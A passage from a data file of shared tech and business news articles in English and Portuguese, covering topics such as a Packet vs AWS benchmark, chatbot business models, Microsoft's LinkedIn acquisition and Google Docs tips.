15k IOPS performance, and Packet is even more performant. It's the victor in disk performance as well. CPU: CPUs cannot be benchmarked purely on the speed of the processor [clock] alone. For these reasons, we ran a sysbench test as well on different threads. Results: Performance: The results are damning for AWS. On an 8 processor machine, the benchmark ran slower on 8 cores than 4. I ran this multiple times, double checked to make sure this was an m4.2xlarge. Then I spun up another m4.2xlarge and the results were more in line with what I expected (still slower than Packet). However, I am going to keep the original instance's benchmark below to highlight the point of noisy neighbors . With AWS, you can get a shared machine with other neighbors who are processor intensive and reduce your performance. This is what virtualization is. With Packet, you get a dedicated system. What most likely happened was that our original machine had a noisy neighbor. Here are the results - you can see at 8 threads Packet performs 4x faster than AWS. OK OK - I will show the second instance's performance - even when there are no noisy neighbors. Even with a non-noisy neighbor machine, Packet is 30-40% faster in processor benchmarks. EDIT: A user asked me to run the benchmark using a compute-optimized EC2 instance. I decided on c4.2xlarge which has 8 threads, but half as much memory (16gb). It cost $0.419/hour ($0.019/hr more expensive than a Type1 Packet server). Here are the results (Packet wins again but less drastic of a margin) Price: On the above setup, Packet is $0.079/hour cheaper. Conclusion: There really is no way around it - the above benchmarks show the issues with virtualization. Even with those issues aside, AWS is slower and more expensive. Packet wins this one again. Conclusion Even giving AWS the benefit of the doubt, there is no way around it - Packet is faster and SIGNIFICANTLY cheaper. Let's take a very real-world example of our server set-up: Packet: *Note:We assume 732 hours in a month; but if you reserve a Packet instance for a month, they will only charge you 672 hours per month. However, to make apples-to-apples comparisons, all calcs in Price/Month assume you choose hourly pricing (732 hours for 1 month) to keep things normalized. AWS: Packet is literally less than 1/3rd the price and is more performant than AWS. It's allowed us to deploy resources we didn't think would be affordable before. Thank you to everyone @ Packet for making this product possible. Further Steps: If anybody wants to continue this study, I would love to hear your results. AWS does allow you dedicated machines for extra $, but we didn't bother testing them since Packet is already cheaper than their virtual machines. Methodology: Networking: Setting up AWS: We want to make sure we give AWS the best chance. First, we have to make sure enhanced networking is enabled. Running the command: Will give us the output, and look for ""version"". In our instance we have version 2.11.3-k. Amazon recommends we upgrade. For the ubuntu users out there, follow this gist and run the commands: ixgbevf 2.16.1 upgrade for AWS EC2 SR-IOV ""Enhanced Networking"" on Ubuntu 14.04 (Trusty) LTS After rebooting run: Again to make sure the version now reads: 2.16.1 Let's also check via command line to make sure enhanced networking is supported (Ubuntu 14.04): If you get the output, you're good: Next, we used iperf3 to run the diagnostic scripts and scrapy bench . iperf3 is a common network benchmarking tool and scrapy is the framework that powers Tiingo's scraper farm. We figured Scrapy would be another real-time test to see how things flow. the iperf3 command was: Meaning we ran the tests for one hour (3600 seconds), and with 10 processors in parallel. Also note to set the -B option on Packet machines as it takes advantage of the full bonding algo and increases thoroughput. Note: make sure to use the internal IP addresses to give the best benefit of doubt �� Disk: First install/update sysbench on your Ubuntu machine using the code: Then we used the command: The file size must be greater than the RAM size for this test to properly work. CPU: See the above ""Disk"" section to set up sysbench. We then ran the command below, replacing ""num-threads"" with 1, 4, and 8 respectively",en
1465736425,CONTENT SHARED,1862503310075246782,3915038251784681624,6469413037900917152,,,,HTML,http://cio.com.br/carreira/2016/06/10/cinco-competencias-essenciais-ao-it-leaders/,Cinco competências essenciais ao IT Leaders - CIO,"Quanto mais a empresa considera a TI como uma área estratégica, menos valoriza competências técnicas para o CIO. Isso não significa, no entanto, que o líder de TI possa se dar ao luxo de deixar de lado os conhecimentos específicos da sua área. Assim como os super-heróis das histórias em quadrinho, o CIO precisa ter várias identidades. No momento em que está sentado em frente ao board, deve assumir uma postura e um discurso totalmente orientados aos negócios. Já quando encontra-se na mesa de negociação com fornecedores ou conversa sobre o escopo de um determinado projeto com sua equipe, tem de resgatar a bagagem de conhecimentos técnicos. Essa multiplicidade de visões também se aplica às competências exigidas dos CIOs. Isso porque, além da identidade técnica e de negócios, os profissionais são cobrados por sua capacidade de atender às demandas das diversas áreas da companhia e por gerenciar a equipe de TI e os fornecedores. Além disso, eles precisam encontrar tempo para idealizar produtos e serviços inovadores. Equilibrar essas diferentes tarefas representa um fator crucial para o sucesso dos líderes de TI. A seguir, seguem as competências essenciais para os CIOs, na visão de especialistas e de profissionais que atuam no setor: Conhecimento do negócio - Por mais interessantes que as tecnologias pareçam para a equipe de TI, os argumentos técnicos não podem ser utilizados para justificar um projeto para a diretoria e as demais áreas da organização. Assim, os CIOs devem conhecer a fundo o negócio da companhia para entender como as iniciativas da sua área estão alinhadas aos objetivos da organização e quais os resultados práticos esperados. Um projeto de TI é um investimento como qualquer outro da empresa e, em muitas ocasiões, pode inclusive concorrer com as demais áreas. Uma reestruturação de parque tecnológico, por exemplo, necessita estar alinhada à necessidade de crescimento da empresa. Não faz mais sentido trocar só por trocar. Capacidade de comunicação - No dia-a-dia das organizações, boa parte das atividades de TI passa despercebida pelos funcionários da companhia. Na realidade, o CIO e a sua equipe só são lembrados em situações negativas, como quando o sistema cai ou o computador para de funcionar. Com isso, a imagem do trabalho da área de tecnologia da informação fica prejudicada dentro das organizações. E o pior, essa percepção chega até o board da companhia, o que reflete diretamente no humor de investimentos em novos projetos. O CIO que pretende reverter essa situação precisa estar preparado a estruturar uma melhor comunicação de sua área com todos os stackeholders da organização. Para tanto, precisa investir em ferramentas que o ajudem a divulgar as iniciativas de TI a toda a companhia, bem como criar um canal para que os diversos usuários consigam expressar opiniões sobre produtos e serviços oferecidos pela equipe de tecnologia. Gestão de pessoas - Os resultados da área de TI também estão diretamente relacionados à capacidade que o CIO tem para recrutar, reter e desenvolver seus colaboradores. Essa capacidade de gestão e motivação das equipes é essencial a qualquer profissional em posição de liderança, mas tende a ser ainda mais crítica na TI, uma vez que trata-se de um setor no qual faltam pessoas capacitadas e, portanto, a retenção de talentos é essencial. Perfil inovador - Quando buscam um profissional para ocupar a posição de CIO, as empresas buscam pessoas com postura voltada à inovação. Na prática, isso seria representado, por exemplo, por um CIO que, antenado aos lançamentos do mercado no qual atua, percebe uma nova maneira de se relacionar com os clientes e leva essa sugestão à área de marketing. Conhecimento técnico - Desde que o líder da área de tecnologia passou a exercer uma função estratégica nas organizações, existe uma dúvida a respeito sobre, até que ponto, o conhecimento técnico representa algo essencial para quem ocupa a posição de CIO. Todo o conhecimento técnico que o profissional levou anos para adquirir começa a parecer inútil e um pouco enferrujado. Mas os especialistas aconselham que revisitar essas habilidades é extremamente importante para que o líder cultive um repertório necessário para o relacionamento com os técnicos da sua área. Um dos pecados que o CIO comete é distanciar-se do conhecimento técnico. Sem essa habilidade, o profissional não consegue saber como o departamento de TI pode contribuir com as demais áreas da organização e não consegue liderar sua própria equipe. ""Durante os últimos 20 anos, o mercado deu muita ênfase à capacitação voltada aos negócios"", diz a fundadora e presidente da empresa de recrutamento de executivos Valuedance, Susan Cramm. Ela afirma que essa tendência produziu CIOs que, hoje, perderam completamente o contato com a parte técnica da operação de TI. ""E o desempenho desses líderes é afetado negativamente por isso"", afirma a especialista. Susan aconselha os gestores de tecnologia a buscarem maneiras para colocar em prática o conhecimento teórico adquirido na universidade e no início da carreira. ""Entretanto, esse reencontro com o repertório não pode tornar-se uma mais um item na lista de obrigações diárias do CIO"", informa, ao apontar que isso deve ser um exercício prazeroso.",pt
1465775446,CONTENT SHARED,8017849534314729144,3217014177234377440,-6009405111408195606,,,,HTML,http://mashable.com/2016/06/12/fake-ted-talk/,[Videos] This fake TED Talk about nothing might be the best you've ever seen,"If you've ever clicked on an inspirational video link before, you've probably seen a TED Talk . They promise lofty ideas and profound truths, and yes, sometimes they do live up to the hype. But sometimes, well, they don't. That's what this brilliant parody of the speech series focuses on, delivering a blistering takedown of some of the most common onstage methods used to convince the audience that they are witnessing one of the most important speeches they've ever seen. And while it is pretty hilarious, the scary part is that even while the parody talks about nothing, the presentation's tricks and devices manage to give the empty speech the air of, dare we say, importance. And for that reason this might be the best (fake) TED Talk we've ever seen. If you're ever invited to give a TED Talk, you now have the perfect cheat sheet for success.",en
1465778481,CONTENT SHARED,-4070599188332885701,3609194402293569455,-3757998048370803301,,,,HTML,http://startupi.com.br/2016/06/twitter-faz-atualizacao-em-seu-aplicativo-fabric-para-trazer-mais-funcionalidades-as-empresas-e-aos-desenvolvedores-de-apps/,Twitter faz atualização em seu aplicativo Fabric para trazer mais funcionalidades às empresas e aos desenvolvedores de apps - Startupi,"Com o objetivo de tornar mais completa a experiência de seu aplicativo Fabric, o Twitter anunciou uma atualização que trará mais funcionalidades às empresas e aos desenvolvedores de apps. Os novos recursos permitem o acesso a análises mais detalhadas e completas em relação as métricas de aquisição, engajamento e retenção, como DAU (usuários ativos diários) e MAU (usuários ativos mensais). As novidades trazem ao desenvolvedor, líderes de produto e empresas com apps a possibilidade de acompanhar em tempo real o desempenho de seus aplicativos, e assim ter mais rapidez e facilidade para tomar decisões, já que não é necessário utilizar o seu laptop ou computador para ter acesso aos dados. Há alguns meses, o Twitter havia anunciado o lançamento do aplicativo do Fabric, plataforma modular móvel utilizada por empresas e desenvolvedores para a criação de apps, o que trouxe mais praticidade para acompanhar a estabilidade de aplicativos e a sua evolução em tempo real. O Fabric está instalado em mais de 1.6 bilhão de dispositivos, entre iOS e Android, sendo usado por mais de 100 mil desenvolvedores. Para se ter uma ideia, mais de 1 milhão de aplicativos já foram integrados com Crashlytics, ferramenta que identifica e reporta falhas em aplicativos, e que chega a analisar cerca de 18 bilhões de falhas por mês. O Brasil é o país da América Latina que mais utiliza o Fabric: a plataforma está presente em 69% dos apps desenvolvidos no país. Agora, com as novas funções, as empresas e os desenvolvedores poderão entender, a partir de gráficos, como a atividade dos usuários de seus aplicativos está mudando ao longo do tempo. Também será possível compreender, por exemplo, quantos novos usuários estão chegando a cada dia e comparar com o movimento da semana anterior. Essas funcionalidades colaboram especialmente em datas de lançamento de aplicativos, dias considerados mais críticos, já que requerem atenção redobrada em relação a estabilidade. Os novos recursos do aplicativo Fabric permitem ainda, além de analisar como está o crescimento do número de usuários ativos, saber a quantidade de sessões, compreender quais são os problemas que estão afetando a usabilidade do aplicativo e quais são as horas em que os usuários ficam mais ativos, o que ajuda a concluir qual é o melhor momento para lançar uma atualização, ou um novo aplicativo.",pt
1465807829,CONTENT SHARED,3294074907209583622,-48161796606086482,6612427656092645654,,,,HTML,http://venturebeat.com/2016/06/09/how-will-bots-make-money-here-are-7-business-models/,How will bots make money? Here are 7 business models,"Another bot (hot damn) Called a police and a fireman Another bot (hot damn) Make your interface wanna retire man You already know that bots are one of the hottest topics since mobile apps. That's already clear. With major announcements from Google, Facebook, Microsoft, and Amazon, the bot craze has grown dramatically over just a few months. But one question that is being discussed in boardrooms, amongst makers in Slack channels and in Facebook groups around the web is this: How will these things make money? Well, that's exactly what I'm going to dive into with this post. Over the last couple months, my co-workers and I have been up to something that leverages a bot and have had many conversations with bot makers on this exact topic. So, here are seven business models that I expect bot makers to have the ability to leverage and redefine in the coming months. Bots as a Services (BaaS) B2B Bots that help people and teams be more productive, manage tasks or tackle communications challenges will replicate business models being used by existing B2B software. I'm willing to bet that for B2B bots, the SaaS model is going to be the business model that floats to the top. For some bots, you will be able to access more features with an upgrade from one tier to the next. According to Forrester, SaaS and cloud-based business application services revenue is estimated to reach $32.8B in 2016 so it's a no-brainer that this trend translates over into the B2B Bot space. Most Slack apps available today are offering a free version of their product with a reference to future paid tiers like this pricing chart from Growbot : This indicates an early comfort for SaaS. SaaS is business model that b2b customers are familiar with and will require little education on how the transaction will work. Some of the bots will have complex pricing models that include seats and requests while others will have pricing options that are as simple as 3 different tiers. Bots + sponsored & native content Native content and advertising is a trend that has been soaring over the last few years thanks to the likes of BuzzFeed, VICE and more. Native or Sponsored content is a model in which brands pay to have their content distributed by media companies directly into their channels in a way that is often viewed as content created by the media outlet rather than a brand. Here's an example of native content from Durex: Now imagine you're using a Cooking Bot. While the bot will tell you that swapping Cumin for Coriander is okay in a certain recipe through its native function - it will also send you an article that talks about ""5 Sriracha Infused Recipes That Will Leave Your Guests In Awe."" Sponsored by Sriracha of course... Native advertising has been found to consistently perform better than traditional banner ads. Brands will embrace this approach because it works for both the brand and publisher. You will see this transcend into the bots being created by publishers as well. Bot leveraged affiliate marketing Affiliate Marketing has been a monetization strategy for entrepreneurs and new businesses for years. In the early days, the model was quite simple, find a product that people were searching for frequently, create a website and landing page that would bring in traffic, run some ads and profit. Forrester Research conducted a study that concluded that affiliate marketing spending in the USA would grow to $4.5 billion in 2016. For chat bot creators, you could develop a Fitness Bot that offers tips and tricks on how to stay healthy and use affiliate links to send people to fitness products that have affiliate links associated with them. Shopping bot, Kip has already leveraged this monetization strategy. People can ask the bot for different things like ""Chocolate"" or ""Coffee"" and it will return a list of products: And for every product bought by their users, the Kip bot team is able to ring the cash register and take a small percentage. Here's one user explaining that they bought the Amazon Echo ($89.99) using the Kip Chatbot: Bots for research Wondering what millennials are thinking about the Presidential Election? There are bots that you can pay to do the research for you. While I haven't come across any bots that are doing this today, it would make a lot of sense for Q&A bots to offer this type of service. Bots like DisOrDatBot are already asking people simple this or that questions as you can see in the experience above. Now, imagine you're an event planner and are trying to determine which music act you should try to book for your city. Rather than using an expensive research firm or inaccurate focus group, you can run a research campaign with DisOrDatBot and ask users in your city whether they prefer Radiohead or Nickelback. Slack Bots that don't have a Q&A focus could also leverage this model. If you've built a bot that offers valuable content on a regular basis to a niche audience, organizations who want to connect or sell to that audience might have an interest in conducting research campaigns via chat. Bots for lead generation Lead generation businesses run wild online. Create a landing page. Acquire targeted leads. Sell leads to producers. Profit. While I haven't seen it yet, I expect we will see chatbots that act as lead generation businesses with an initial focus on content. The chatbots that deliver insights and information to users who are looking for advice about home ownership, insurance, weddings or finances and then pass along user information to various businesses who sell services and products that line up with the content they're delivering. For example, imagine you're talking to the ""Life Bot"" and start engaging in a conversation about home buying. As the discussion continues, the bot gathers information like the amount of cash you have for a down payment, where you want to live, whether you're employed and whether it's your first home. After building this relationship , the bot asks you: ""Would you mind if I pass this along to someone to get in touch?"" You agree and the bot then it passes your information along to a Real Estate company in your area. The Real Estate company follows up with you the next day and the bot company gets paid for the lead. Here's the process: (1) Company Creates Lead Generation Bot (2) Bot Validates The Lead (3) Lead Passed To Company (4) Commision Paid By Company To Bot Pure retail sales bots Retail is one of the most straightforward experiences you will find amongst chat bots. It's the idea of a store selling directly to the consumer (B2C). You can imagine stores like Wal-Mart, Harry's, Target and Amazon creating bots where people can ask them if they sell something like ""Tooth Paste"" or ""A shaver"" and the bot responding back with those products. The user will make the purchase directly through a chat with the bot and it will act similar to a transaction from a typical website. Ivan Suvorov, of Mr.Chatbot wrote a great piece on this: Cost per conversation/task People want advice and are willing to pay for good advice. As bots become more sophisticated, I expect people to be willing to pay to have conversations with the bots that can help them with various challenges in life. For example, you could talk to the ""Oprah Bot"" if you needed life advice, the ""Mechanic Bot""for information on your car or the ""Marriage Bot""if you want anonymous marriage counseling. Marriage counselors can charge anywhere from $75 to $200 or more per hour depending on where you live, the experience of the therapist, and the type of setting can all play a factor in how much counseling costs. Bots could help marriages at scale at a lower price point and be more accurate in their advice by leveraging the data they receive from their frequent interactions. Conclusion Tomasz Tunguz of Redpoint Ventures wrote a blog post titled The New UI for SaaS and asked a great question about the revenue model for bots: How valuable is a user experience advancement to most software buyers? That's a great question but I think the advancement needs to go beyond user experience. It's not just enough to make the interaction feel different. You need to make the experience better. You need to create an experience that saves time and has a meaningful impact on lives and business. During an interview with Harry Stebbings of 20 Minute VC, Sam Lessin, Founder @ Fin and Partner @ Slow Ventures explains that business models for bots are yet to be determined and I couldn't agree more. It's going to be an interesting next couple years and I'm excited to see what founders ( myself included ) come up with for the business model for bots. If you're interested in learning more about bots and my thoughts on how they will redefine B2B, please   subscribe to my newsletter . A version of this post appeared on Medium . AI. Messaging. Bots. Arm yourself for the next paradigm shift at MobileBeat 2016. July 12-13 at The Village in San Francisco. Reserve your place here.",en
1465820057,CONTENT SHARED,7421641564256558176,-1799631734242668035,-2531009300052627764,,,,HTML,http://m.thedrum.com/opinion/2016/06/09/martech-and-ad-tech-convergence-myth-or-reality,Martech and ad tech convergence: myth or reality?,"There has been a lot of chatter in the industry lately about how the distinct worlds of marketing technology and advertising technology are converging. Technology companies, from the big martech players - like Adobe, Oracle, IBM & Salesforce - to the paid media side (DSPs, SSPs, trading desks) are all looking to expand their tech stacks. We even see companies like Deloitte, IBM and Accenture buying agencies. Will we see agencies react by acquiring tech companies? The goal for all these companies is to offer brand marketers a fully integrated mission control center powered by a data layer that gathers, collates and optimizes at every consumer touchpoint, thereby accounting for the totality of a given brand's owned, earned and paid media efforts. The idea is that this martech/ad tech convergence will create omnichannel marketing nirvana that makes digital advertising more personal and more engaging and will ultimately make ads as welcome to consumers as content. Is this scenario actually happening or is it a bunch of hype? I'm happy to say that it is the former. It's not happening as quickly as some folks would have you believe, yet there are clear signs that companies are moving in this direction. In fact, it's not far-fetched to expect this trend to hit critical mass in the near future. This is a classic challenge and opportunity scenario. The challenge is that the majority of programmatic planning and execution for paid media is happening at media agencies. There are notable exceptions, like Netflix, but most are still not bringing this in-house. Email and earned media are often managed in house or by other third parties (not the media agency). This fragmentation creates inertia/challenges for brands to maintain cohesive programs across all channels. Companies that are fully invested in leveraging their customer data are likely to lead the charge in creating better creative strategies. I already see this desire among some brands and integrated agencies where data/CRM/paid media/earned media are all under one roof. The opportunity is to optimize both operational AND performance efficiencies across all marketing channels. If we as an industry can fulfill on this potential of convergence, there will be a host of great benefits. Higher Customer Lifetime Value Email marketing is currently one of the best ways to increase customer loyalty, often because it leverages first party data. We can bring this approach to paid advertising and speak personally to customers. This is eminently more effective than current DR marketing tactics that erode the brand-customer relationship with blunt, disrespectful retargeting. They may close a sale in this way, but it's often at the cost of tarnishing the brand equity and ultimately customer lifetime value. More Engagement, Better UX When a message is relevant and beautiful, it doesn't need to rely on heavy, distracting animations to draw your attention. People can find advertisements useful and enjoyable. We can make ads useful, respectful and beautiful, in effect, more PERSONAL. For ads to be more relevant, we need to bring more content and data to bear. Branded content is most effective when it delivers relevant information about the world around us: location, time, weather, pollen levels, stock prices, sports scores. Information about people and their brand relationships, as well as other information like demographics, intent, and actions taken on site and in other advertisements all are fed back into the omnichannel stack to refine and further heighten consumer engagement. Marketing, creative and media teams will need to think and work differently to take advantage of the new ways that they can speak to their customers. In summary, brands and the companies that partner with them are facing a huge opportunity. TV marketing has strong reach, but often unsatisfactory relevance. Email marketing has high relevance but limited reach. Paid digital advertising can deliver both reach and relevance throughout the entire consumer journey from prospecting to retargeting. Ultimately, it's about servicing the consumer. The consumer does not exist only in display or in an email or in social media. The creative should vary based on where the message is being delivered, but ostensibly the marketer should think about always connecting with the consumer first. If that is the case then it's only logical that these silos will be broken down. Ben Kartzman is chief executive at Spongecell",en
1465825010,CONTENT SHARED,4460664691673874476,8250502084456448386,-8562728575042486543,,,,HTML,http://exame.abril.com.br/negocios/noticias/microsoft-comprara-linkedin-por-26-2-bilhoes-de-dolares,"Microsoft comprará LinkedIn por 26,2 bilhões de dólares | EXAME.com","São Paulo - A Microsoft anunciou hoje que comprará a rede social profissional LinkedIn por 26,2 bilhões de dólares. Cada ação da rede social será comprada por 196 dólares, totalizando os 26,2 bilhões. O anúncio foi feito em post publicado no blog da Microsoft. O texto afirma que o LinkedIn irá manter sua independência e características após a aquisição . Na posição de CEO continuará o atual chefe executivo da rede social, Jeff Weiner. Ele se reportará a Satya Nadella, atual CEO da Microsoft. Reid Hoffman, chefe do conselho, cofundador do LinkedIn e acionista, participou das negociações e deu total apoio, afirma o texto. A aquisição será feita completamente em dinheiro--não existe permuta de ações nesse caso. De acordo com as empresas, o trâmite deve ser concluído ainda neste ano. ""O time do LinkedIn criou um fantástico negócio centrado em conectar profissionais de todo o mundo"", disse Nadella no comunicado. ""Juntos, podemos acelerar o crescimento do LinkedIn, assim como do Microsoft Office 365 e Dynamics, à medida que procuramos empoderar todas as pessoas e organizações do planeta."" ""Mudamos a forma como o mundo se conecta a oportunidades, essa relação com a Microsoft, e a combinação entre a nuvem deles e a rede do LinkedIn agora nos dá a chance de mudar o modo como o mundo funciona"", disse Weiner. ""Nos últimos 13 anos, estivemos posicionados para conectar profissionais e para torna-los mas produtivos e bem sucedidos, e estou ansioso para liderar nosso time ao longo desse novo capítulo da nossa história"", completou. O acordo, que foi aprovado de forma unânime entre os conselhos da Microsoft e do LinkedIn, ainda terá de ser aprovado por acionistas do LinkedIn e agências regulatórias. Atualizando...",pt
1465825247,CONTENT SHARED,8931755432090459041,-2979881261169775358,5355682680280907867,,,,HTML,https://blogs.microsoft.com/firehose/2016/06/13/microsoft-to-acquire-linkedin/,Microsoft to acquire LinkedIn,"Microsoft and LinkedIn Corporation on Monday announced they have entered into a definitive agreement under which Microsoft will acquire LinkedIn for $196 per share in an all-cash transaction valued at $26.2 billion, inclusive of LinkedIn's net cash. LinkedIn will retain its distinct brand, culture and independence. Jeff Weiner will remain CEO of LinkedIn, reporting to Satya Nadella, CEO of Microsoft. Reid Hoffman, chairman of the board, co-founder and controlling shareholder of LinkedIn, and Weiner both fully support this transaction. The transaction is expected to close this calendar year. For more information, read the press release . Jennifer Chen Microsoft News Center Staff",en
1465827586,CONTENT SHARED,-8518096793350810174,1895326251577378793,-1287126046112431871,,,,HTML,http://computerworld.com.br/microsoft-adquire-linkedin-por-us-262-bilhoes,"Microsoft adquire LinkedIn por US$ 26,2 bilhões","O mercado de tecnologia começou a semana em ritmo intenso. A Microsoft anunciou no começo dessa segunda-feira (13/06) que desembolsará nada menos que US$ 26,2 bilhões, em dinheiro, pelo LinkedIn. Em comunicado ao mercado, a fabricante do Windows assegurou que a rede social corporativa manterá sua marca, cultura e independência. Jeff Weiner seguirá no comando do projeto, reportando-se a Satya Nadella. A compra representa o maior valor já desembolsado pela Microsoft em sua história. A quantia é superior ao preço pago pela Nokia e Skype, combinados, e corresponde a US$ 196 por ação. O LinkedIn é a maior rede social corporativa do mundo, contabilizando um total a 433 milhões de usuários ao redor do mundo e uma oferta de serviços que vai desde ferramentas de recrutamento até publicidade. Apesar de manter independência, a companhia passará a integrar o segmento de Produtividade e Processos de Negócio da gigante de software. ""Juntos, vamos acelerar o crescimento do LinkedIn, bem como do Office 365 e Dynamics na busca por dar mais poder a cada pessoa e organização"", pontou Nadella. Weiner afirma que a combinação das ferramentas da rede social com as ferramentas em nuvem da nova controladora criarão condições de ""mudar a forma como o mundo trabalha"". A expectativa é que a transação esteja completa ao final de 2016. A conclusão do negócio ainda depende de aprovações de órgãos reguladores de mercado. As empresas disponibilizaram um vídeo no YouTube , no qual Nadella e Weiner falam sobre os motivos e estratégias por trás da aquisição. Mais compras Também nessa segunda-feira, a Symantec revelou que desembolsaria US$ 4,65 bilhões pela Blue Coat . Combinadas as operações, a companhia deve faturar US$ 4,4 bilhões em 2016. Do total, 62% das receitas originam-se de contratos com clientes corporativos.",pt
1465836975,CONTENT SHARED,-1046621686880462790,-6944500707172804068,4547151631780995476,,,,HTML,http://techcrunch.com/2016/03/07/hero-launch/,Hero unveils a new home gadget to help you track and dispense pills,"A New York City startup called Hero plans to replace those plastic pill organizers with a high-tech home appliance. As demonstrated for me by the Hero team, it's easy to load your medicines, vitamins and other health supplements into the machine, then indicate the dosage you'll need and when you're supposed to take it. Once you're all set up, the Hero device will automatically alert you when it's time to take your medication and dispense the pills accordingly. Co-founders Kut Akdogan and Kal Vepuri said they both have experience in healthcare - Akdogan worked with large medical device companies while at Bain & Co. and also founded nutrition startup Almond . ""The whole pharmaceutical experience is still in the Stone Age,"" he said. How hard is it to remember the pills you need to take? Well, medicine ""non-adherence"" supposedly accounts for 125,000 annual deaths and between $100 billion and $289 billion in healthcare costs in the United States alone. And yes, there are other devices for dispensing pills, but Akdogan argued that they're usually not built with the consumer in mind. The Hero appliance, on the other hand, is supposed to be friendly and easy-to-use. In fact, Akdogan said it should remind users of a coffee maker, and I'd say that's a fair description. Why a coffee maker? Well, when Akdogan wakes up in the morning , ""I want to go get that cup of coffee, I look forward to that. I wake up and get to press that button and it whirrs - I feel success. That sort of magic was entirely missing from the medical experience."" So Hero boasts a colorful display, and even some nice, encouraging whirring noises as it dispenses your pills. On the more practical side, Akdogan noted that the device always asks you to approve the pills before dispensing, so you shouldn't end up with a giant mess when you get home from travel. He said it's designed to manipulate a number of different pill types, and can hold 10 pills at once. There's also a smartphone app that can alert family members or other caregivers when the dose is taken or if it's skipped. (Akdogan emphasized that the app is HIPAA compliant and protects your privacy.) Hero is solely financed by Vepuri's firm Brainchild. The device is currently available for preorder at a price of $399 (compared to an expected retail price of $999). The plan is to ship Hero in early summer. As for the app, its basic functionality will be available for free, but you'll need to pay if you want the premium features. Featured Image: Hero",en
1465839005,CONTENT SHARED,1061238072586805321,4670267857749552625,-4970877795692383539,,,,HTML,http://www.bitmag.com.br/2016/06/49719/,Honda fortalece estratégia para desenvolver tecnologias inteligentes - B!T magazine,"De acordo com a empresa, o local, previsto para ser inaugurado em setembro deste ano, será caracterizado como um espaço de criação conjunta, onde a Honda irá colaborar com especialistas no assunto e demais institutos de pesquisa para acelerar o desenvolvimento e a aplicação prática de novas tecnologias advindas dos estudos desses profissionais. Em 2003, a Honda R&D inaugurou o Instituto de Pesquisa Honda (HRI, na sigla em inglês) com a finalidade de incentivar as pesquisas de ponta na área de tecnologias inteligentes, que exploram áreas de conhecimento além da engenharia mecânica, como pesquisas neurológicas e de reconhecimento visual e auditivo. O instituto, desde então, conduz estudos em diversos campos, ao mesmo tempo em que estabelece uma rede global de pesquisadores das ciências avançadas em suas instalações em Frankfurt, Alemanha; no Vale do Silício e Columbus, nos EUA e Wako-City na província de Saitama, no Japão. No Vale do Silício , a Honda R&D também estabeleceu uma operação satélite, a Honda Silicon Valley Lab , que trabalha em colaboração com o Instituto de Pesquisa Honda nos EUA, e acumula um bom repertório de conquistas, incluindo a descoberta de tecnologias entre startups locais. Ao reforçar e expandir suas pesquisas no campo de tecnologias inteligentes, conectividade e robótica, a Honda busca oferecer maior conveniência e prazer aos clientes por meio de seus produtos e tecnologias avançadas de mobilidade.",pt
1465841777,CONTENT SHARED,1618055575277164008,4417246933621591943,4606948532269764459,,,,HTML,http://www.techtudo.com.br/dicas-e-tutoriais/noticia/2014/04/lista-tem-15-dicas-para-google-docs-teste.html,Lista tem 15 dicas para Google Docs; teste,"O Google Docs ou Documentos, em português, é o editor de texto do pacote de aplicativos online do Google Drive . Bastante útil para armazenamento e compartilhamento de arquivos e quando tais documentos são produzidos de forma colaborativa por diversas mãos. O Google Docs aceita os formatos de arquivos de texto mais populares como DOC (Word), XLS, ODT, ODS, RTF, CSV, PPT e outros. Veja as 15 dicas para editar textos e utilize o Google Docs no seu computador da melhor forma. Post falso no Facebook diz que rede social vai mostrar quem viu seu perfil Lista traz 15 dicas sobre Google Docs para melhorar a sua experiência com o aplicativo (Foto: Divulgação/Google) A lista abaixo possui mais de 40 atalhos de teclado úteis para o Google Docs, guarde as combinações. Atalhos para documentos no Google Docs (Foto: Reprodução/Carol Danelli) Para melhor visualizar o seu trabalho, no menu ""Visualizar"" há a opção ""Tela cheia"" (Ctrl+shift+F). Com ela, o cabeçalho do arquivo some, dando destaque à área de trabalho. Para sair desta opção basta apertar ""Esc"" ou, caso tenha feito pelo atalho, clicar nas setinhas do canto superior direito da tela; No modo tela inteira, o cabeçalho do arquivo ""some"" e a área de trabalho fica maior (Foto: Reprodução/Carol Danelli) Trabalhe com estilos diferentes de textos mudando a formatação do documento direto no cabeçalho; Modifique o estilo do texto no menu indicado (Foto: Reprodução/Carol Danelli) Com os modelos públicos, o usuário pode utilizar fundos e formatações já preparadas. É possível também enviar o seu próprio modelo, basta clicar em enviar modelo no canto superior direito da página; Opções de modelos do Google (Foto: Reprodução/Carol Danelli) Utilize o menu Inserir nos seus documentos e agregue valor aos seus artigos. Nele, é possível incluir tabelas (de 20 x 20 por vez), desenhos, notas de rodapé, links, imagens, sumários, entre outros; Explore o menu Inserir para deixar seu trabalho mais completo no Google Docs (Foto: Reprodução/Carol Danelli) Use as regras de formatação condicional para ter um resumo visual de dados complexos ou dinâmicos. Formate as células para alterar o texto ou as cores de fundo se determinadas condições forem cumpridas. Por exemplo, se as células contiverem determinadas palavras ou números. Para isso, vá em ""Formatação"", clique em ""Formatação condicional"" e escolha seus parâmetros; Formate as células para alterar o texto ou as cores de fundo em determinadas condições (Foto: Reprodução/Carol Danelli) Optical Character Recongnition (Reconhecimento Ótico de Caracteres, em português) é a tecnologia que permite reconhecer texto (letras e números) em imagens, transformando-os em conteúdo editável. Para ativar essa opção, clique no menu da engrenagem na página do seu Google Drive, vá em ""Configurações de upload"" e selecione ""Converter textos de PDFs e arquivos de imagens enviados"". Habilite a função OCR no Google Drive (Foto: Reprodução/Carol Danelli) No menu ""Ferramentas"", clique em ""Traduzir documento"". Aparecerá uma tela para o usuário configurar a tradução. Uma nova aba será aberta com o texto novo, na língua desejada. Traduza artigos sem precisar sair do Google Docs (Foto: Reprodução/Carol Danelli) O sistema de notificações do Google Docs funciona com o Planilhas (Sheets). Para obter alertas quando alguém editar seu documento, abra a planilha, vá até ""Ferramentas"" e clique em ""Regras de Notificação"". Uma caixa de configurações irá abrir e o usuário pode definir as suas preferências. Habilite as notificações para receber alertas de alterações em suas tabelas do Google Docs (Foto: Reprodução/Carol Danelli) Quando um arquivo do Google Docs é compartilhado por e-mail, o Gmail tem um atalho de acesso ao arquivo. Basta clicar em ""Visualizar"" para abrir o documento. Atalho de acesso do Gmail para o documento do Google Docs (Foto: Reprodução/Carol Danelli) Os complementos são plugins de terceiros que melhoram a experiência dos usuários. Para navegar pelos add-ons disponíveis, basta acessar a aba ""Complementos"" do menu principal de Documentos ou Planilhas e clicar em ""Instalar complementos"". Em seguida, uma janela com todos eles será aberta. O autor do documento escolhe o que for mais útil no momento. Saiba como os add-ons funcionam . Inclua complementos nos seus arquivos e melhore 